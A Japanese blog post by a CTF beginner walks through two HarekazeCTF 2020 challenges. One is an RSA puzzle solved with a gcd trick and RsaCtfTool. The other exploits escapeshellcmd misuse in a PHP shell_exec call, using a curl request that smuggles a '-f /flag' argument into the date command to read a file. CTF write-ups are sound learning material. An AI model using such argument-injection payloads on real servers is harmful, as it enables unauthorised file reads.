HarekazeCTF writeup

2020年12月27日 11:45

harekazeCTFにCTF初心者の３０歳のオジサンが参加して１問だけ解けたのと、解法は合ってたけどコピペミスで解けてなかった😂問題１問を解説します。

rsa

暗号送信者は秘密鍵を保存するのが怖かったそうで、次のようなコードでp+qとp-qを暗号化して公開することにしたみたいです。

from Crypto.Util.number import getStrongPrime, getRandomRange

with open("flag", "rb") as f:
 flag = int.from_bytes(f.read(), "big")

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
phi = (p-1)*(q-1)
e = 65537
c1 = pow(flag, e, n)
c2 = pow(p + q, e, n)
c3 = pow(p - q, e, n)

print(f"{n=}")
print(f"{e=}")
print(f"{c1=}")
print(f"{c2=}")
print(f"{c3=}")

n=133957491909745071464818932891535809774039075882486614948793786706389844163167535932401761676665761652470189326864929940531781069869721371517782821535706577114286987515166157005227505921885357696815641758531922874502352782124743577760141307924730988128098174961618373787528649748605481871055458498670887761203
e=65537
c1=35405298533157007859395141814145254094484385088710533905385734792407576252003080929963085838327711405177354982539867453717921912839308282313390558033140654288445877937672625603540090399691469218188262950682485682814224928528948502206046863184746747265896306678488587444125143233443450049838709221084210200357
c2=23394879596667385465597018769822552384439114548016006879565586102300995936951562766011707923675690015217418498865916391314367448706185724546566348496812451258316472754407976794025546555423254676274654957362894171995220230464953432393865332807738040967281350952790472772600745096787761443699676372681208295288
c3=54869102748428770635192859184579301467475982074831093316564134451063250935340131274147041633101346896954483059058671502582914428555153910133076778016989842641074276293354765141522703887273042367333036465503084165682591308676428523152462442280924054400997210800504726635778588407034149919869556306659386868798

ここで、ｆｌａgを複合するためにｐとｑを見つけることが問題になっていると思いました。

ここで、得られているものは

(p+q)^65537 ≡ c2 mod pq
(p-q)^65537 ≡ c3 mod pq

です。ここで二項展開すると

(p+q)^65537≡

p^65537 + 65537*p^65536*q + ... + 65537*p*q^65536 + q^65537　

ここで、最初のp^65537と最後のq^65537以外の項はpqの約数なのでpqを法として０とイコールになるので消えます。よって

(与式)≡p^65537 + q^65537 mod pq　≡ c2

また、同様に　(p-q)^65537 ≡ p^65537 - q^65537 mod pq ≡c3

上の２式を足し引きすると

2*p^65537 ≡ c2 + c3 mod pq
2*q^65537 ≡ c2- c3 mod pq

なのでpを求めるには 2*p^65537とpqの最大公約数はpもしくは2になることに気が付きました。そこで（ここでコピペミスしたのか１が出てきた）

Juliaを起動します

julia>
n=133957491909745071464818932891535809774039075882486614948793786706389844163167535932401761676665761652470189326864929940531781069869721371517782821535706577114286987515166157005227505921885357696815641758531922874502352782124743577760141307924730988128098174961618373787528649748605481871055458498670887761203
julia>
c1=35405298533157007859395141814145254094484385088710533905385734792407576252003080929963085838327711405177354982539867453717921912839308282313390558033140654288445877937672625603540090399691469218188262950682485682814224928528948502206046863184746747265896306678488587444125143233443450049838709221084210200357
julia>
c2=23394879596667385465597018769822552384439114548016006879565586102300995936951562766011707923675690015217418498865916391314367448706185724546566348496812451258316472754407976794025546555423254676274654957362894171995220230464953432393865332807738040967281350952790472772600745096787761443699676372681208295288
julia> c3=54869102748428770635192859184579301467475982074831093316564134451063250935340131274147041633101346896954483059058671502582914428555153910133076778016989842641074276293354765141522703887273042367333036465503084165682591308676428523152462442280924054400997210800504726635778588407034149919869556306659386868798
julia> p=gcd(n,c2+c3)
11572751144246307246091674248809145171900701551196943881344139746206926180367151512225546964929693601237700698100725738000024705132436016119083332829248543

pが得られました。

次に、RsaCtfToolという便利ないつもCryptoを解くとき使っている便利ツールを起動して、公開鍵と秘密鍵と暗号文を入力して復号します。

cppkazuo@cppkazuo-ThinkPad-X1-Carbon ~/RsaCtfTool> 
python3 RsaCtfTool.py -e 65537 -p 11572751144246307246091674248809145171900701551196943881344139746206926180367151512225546964929693601237700698100725738000024705132436016119083332829248543 -n 133957491909745071464818932891535809774039075882486614948793786706389844163167535932401761676665761652470189326864929940531781069869721371517782821535706577114286987515166157005227505921885357696815641758531922874502352782124743577760141307924730988128098174961618373787528649748605481871055458498670887761203 --uncipher 35405298533157007859395141814145254094484385088710533905385734792407576252003080929963085838327711405177354982539867453717921912839308282313390558033140654288445877937672625603540090399691469218188262950682485682814224928528948502206046863184746747265896306678488587444125143233443450049838709221084210200357
private argument is not set, the private key will not be displayed, even if recovered.
Results for /tmp/tmp8v1x2eeh:
Unciphered data :
HEX : 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000486172656b617a654354467b5253415f6d33346e355f52696e5f5368697265746f6b6f5f416e676f7d
INT (big endian) : 154604133889948321965667290615233121233725381249965960115769116001528573542454321953584133492404093
INT (little endian) : 88083573255209419008303350326890548273880364778734287423631246678207364080913601218339700843301984723076247611964444575692666095380598719970259295201001322285996577380097601892670102279297926233311627917182232908634139784868691754447094136257056980230457250586501541983155805060311044029084463001341440032768
STR : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00HarekazeCTF{RSA_m34n5_Rin_Shiretoko_Ango}'

HarekazeCTF{RSA_m34n5_Rin_Shiretoko_Ango}

What time is it now?

次のようなphpサーバに対して、DockerFileが公開されていてflagが/flagにあることが解っている状態です。

<?php
if (isset($_GET['source'])) {
 highlight_file(__FILE__);
 exit;
}

$format = isset($_REQUEST['format']) ? (string)$_REQUEST['format'] : '%H:%M:%S';
$result = shell_exec("date '+" . escapeshellcmd($format) . "' 2>&1");
?>
<!doctype html>
<html lang="en">
 <head>
   <meta charset="utf-8">
   <title>What time is it now?</title>
   <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">
 </head>
 <body>
  <header>
     <nav class="navbar navbar-expand-lg navbar-dark bg-dark">
       <div class="container">
         <a class="navbar-brand" href="index.php">What time is it now?</a>
         <div class="navbar-collapse">
           <ul class="navbar-nav mr-auto">
             <li class="nav-item"><a class="nav-link" href="?source">Source Code</a></li>
           </ul>
         </div>
       </div>
     </nav>
   </header>
   <main>
     <section class="jumbotron text-center">
       <div class="container">
         <h1 class="jumbotron-heading"><span class="text-muted">It's</span> <?= isset($result) ? $result : '?' ?><span class="text-muted">.</span></h1>
         <p>
           <a href="?format=%H:%M:%S" class="btn btn-outline-secondary">What time is it now?</a>
           <a href="?format=%Y-%m-%d" class="btn btn-outline-secondary">What is the date today?</a>
           <a href="?format=%s" class="btn btn-outline-secondary">What time is it now in UNIX time?</a>
         </p>
       </div>
     </section>
   </main>
   <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script>
   <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
   <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>
 </body>
</html>

見た感じshell_execという珍しいことをしているのでシェルのインジェクションでflagを読む問題だと思いました。

escapeshellcmdの使い方が怪しいので脆弱性をググると徳丸先生の記事が出てきて、’と”は対になっているとエスケープされていないことがわかったのでこれを応用してアタックしようと思いました。

また探していると次のような良いものが見つかりました

しかし、dateコマンドはありません。

ブラウザを開いてF12を押しNetworkを押して、適当な時間表示のボタンを押してどんなクエリを投げるか見てみます。すると、見つかるのでCopy　CopyasCURLをします。

curl 'http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/what-time-is-it-now/?format=%H:%M:%S' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H 'Referer: http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/what-time-is-it-now/' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: ja,en-US;q=0.9,en;q=0.8' --compressed --insecure

curlコマンドを編集します。Getリクエストを書き換えます。

しかし上手く行かずヤケクソになっていろんなdateのオプションを試しまくっていたら-fというものがあることに気が付き、次のようなものを投げました。

curl 'http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/what-time-is-it-now/?format=+%s%n%s%n\'%20-f%20%2fflag\'' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H 'Referer: http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/what-time-is-it-now/?format=%s' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: ja,en-US;q=0.9,en;q=0.8' --compressed --insecure

<h1 class="jumbotron-heading"><span class="text-muted">It's</span> date: invalid date 'HarekazeCTF{1t\'s_7pm_1n_t0ky0}'

HarekazeCTF{1t\'s_7pm_1n_t0ky0}

初めの方に全然できなくて-rでフラグの更新時間を取って悩んでました。コマンドで悩んだら怪しいサイトを見ずに、man dateなどmanコマンドをよく読みましょう。

これからはもっと自信を持ってCryptoの問題で詰まっても何度もやり直そうと思いました。

revをときたいと思って低レベルプログラミングの演習問題をときまくっていたのですが、実践でrevの問題が全然出来なくてちょっと皆さんのWriteiupを読んで過去問をあたる形の練習をして行こうと思います。

HarekazeCTF writeup

rsa

What time is it now?

いいなと思ったら応援しよう！